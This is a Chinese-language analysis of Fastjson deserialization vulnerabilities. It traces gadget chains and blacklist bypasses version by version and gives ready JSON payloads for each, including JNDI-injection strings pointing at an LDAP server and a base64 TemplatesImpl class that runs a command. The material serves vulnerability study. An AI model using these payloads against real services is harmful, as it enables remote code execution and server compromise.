Fastjson简介
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
漏洞原理
这里没有细说fastjson发序列化的机制,总结起来就是以下内容:
- 反序列化时JSON字符串@type的值指定了要将此JSON字符串实例化为什么对象,在此过程中fastjson调用了setter/getter,其中以get/set开头且满足一下条件都会被调用到:
- 方法名称长度大于等于4
- 非静态方法
- 方法名以get开头,且第四个字符为大写字母如getAge
- 方法无需传参
- 方法返回值集成自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong的其中一种
- 对于未提供setter的私有Field,fastjson在反序列化时需要显式提供参数
Feature.SupportNonPublicField才会正确赋值 - fastjson在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略
_
字符串
所以说fastjson反序列化漏洞利用的点就是在反序列化时会自动调用@type指定类中的get/set方法,然后寻找这些可被调用的方法中能走到可以执行恶意代码或者加载恶意类的
1.1.22-1.2.24
JdbcRowSetImpl利用链
com.sun.rowset.JdbcRowSetImpl类中的setAutoCommit()函数调用了connect()函数,该函数中存在jndi注入,且getDataSourceName()获取的DataSourceName值也是可控的
编写exp,构造一下payload{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/ut3kwl","autoCommit":true}
指定type为JdbcRowSetImpl类,传入dataSourceName和autoCommit可以调用到setAutoCommit()和setDataSourceName()方法,通过JNDI-Injection-Exploit生成JNDI链接,实现jndi注入
TemplatesImpl利用链
因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类里面都是私有变量该链在反序列化时需要加上Feature.SupportNonPublicField参数
TemplatesImpl类中getOutputProperties()方法调用了newTransformer()
newTransformer()调用了getTransletInstance()
getTransletInstance()调用了defineTransletClasses()
最后defineTransletClasses()有循环类加载的过程,参数是_bytecodes[i],这里就是利用点,接下来需要解决调用过程中的问题
1.首先是开头说的加上Feature.SupportNonPublicField参数
2.然后是getTransletInstance()函数中_name不为null,_class为null
3._bytecodes[]中加载的类需为AbstractTranslet的子类
除此之外还有fastjson本身的功能特点:
4.fastjson在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_ -字符串
5.fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,在序列化时也会进行base64编码
所以_bytecodes传入原类内容为
将其转为字节码,然后base64编码后,最终payload为
点击查看代码
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAiTGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0OwEAClNvdXJjZUZpbGUBAAxKREs3dTIxLmphdmEMAAQABQcAEwEAIGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAG2NvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACEKACIADwAhAAIAIgAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAjsQAAAAIABwAAAAYAAQAAACoACAAAAAwAAQAAAAUACQAMAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'exp','_tfactory':{ },"_outputProperties":{ }}
1.2.25-1.2.41
该版本添加了黑名单
且添加了autoTypeSupport参数来控制能否反序列化,默认不能,所以利用范围变小了,如果能反序列化的话会调用checkAutoType()函数检查
在autoTypeSupport开启的情况下先通过白名单进行判断,如果符合的话就进入TypeUtils.loadClass,然后在通过黑名单进行判断,如果在黑名单中就直接抛出异常,否则进入到TypeUtils.loadClass中
然后下面有判断autoTypeSupport是否为true,不为true就检查黑名单后抛异常,为true会再调用一次TypeUtils.loadClass
再看TypeUtils.loadClass(),在TypeUtils.loadClass中,可以看到对[ L ;
进行了处理,而其中在处理L ;
的时候存在了逻辑漏洞,可以在@type的前后分别加上L ;
来进行绕过
payload如下
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1389/ut3kwl","autoCommit":true}
1.2.42
黑名单变成了HashCode
checkAutoType()中进行了L;
截取,然后就直接进入了TypeUtils.loadClass
所以前后双写L和;就可绕过
payload:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/ut3kwl","autoCommit":true}
1.2.43
添加判断,如果以LL
开头直接抛异常
可以使用TypeUtils.loadClass中对于[
的处理来绕过
payload:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/ut3kwl","autoCommit":true}//“[{”不加会出异常
ps:该payload在1.2.25 <= fastjson <= 1.2.43都可以使用
1.2.45
存在组件漏洞,需要有mybatis组件
payload如下:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/g0tvin"}}
1.2.47
在此版本中可以在不开启autoTypeSupport的情况下,触发漏洞
在checkAutoType()中,当autoTypeSupport为false时,会继续执行TypeUtils.getClassFromMapping和this.deserializers.findClass寻找类,如果找到了就返回clazz
在ParserConfig类初始化时会执行initDeserializers方法,会向deserializers中添加许多的类,类似一种缓存,其中会添加这么一个类this.deserializers.put(Class.class, MiscCodec.instance);
MiscCodec类中,有一个方法deserialze,而在进行json反序列化时会调用这个方法,在方法内会对clazz进行判断,当类为Class.class也就是java.lang.Class类时,会进入到TypeUtils.loadClass中
在TypeUtils.loadClass中,如果cache为true则会将className放到mapping中,其中cache默认为true
className为传进来的strVal,在deserialze中,strVal由objVal强制转换而来
objVal是在parser.parse()中截取而来,且参数名必须为val,否则会抛出异常,也就是说可以通过反序列化往mapping中添加任何类,这样的话添加com.sun.rowset.JdbcRowSetImpl类,从而绕过autoTypeSupport的和黑名单的限制,然后再次传递json去触发JdbcRowSetImpl的JNDI注入
payload如下:
{
"1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1389/g0tvin",
"autoCommit": true
}
}
以上都在jdk8u66测试成功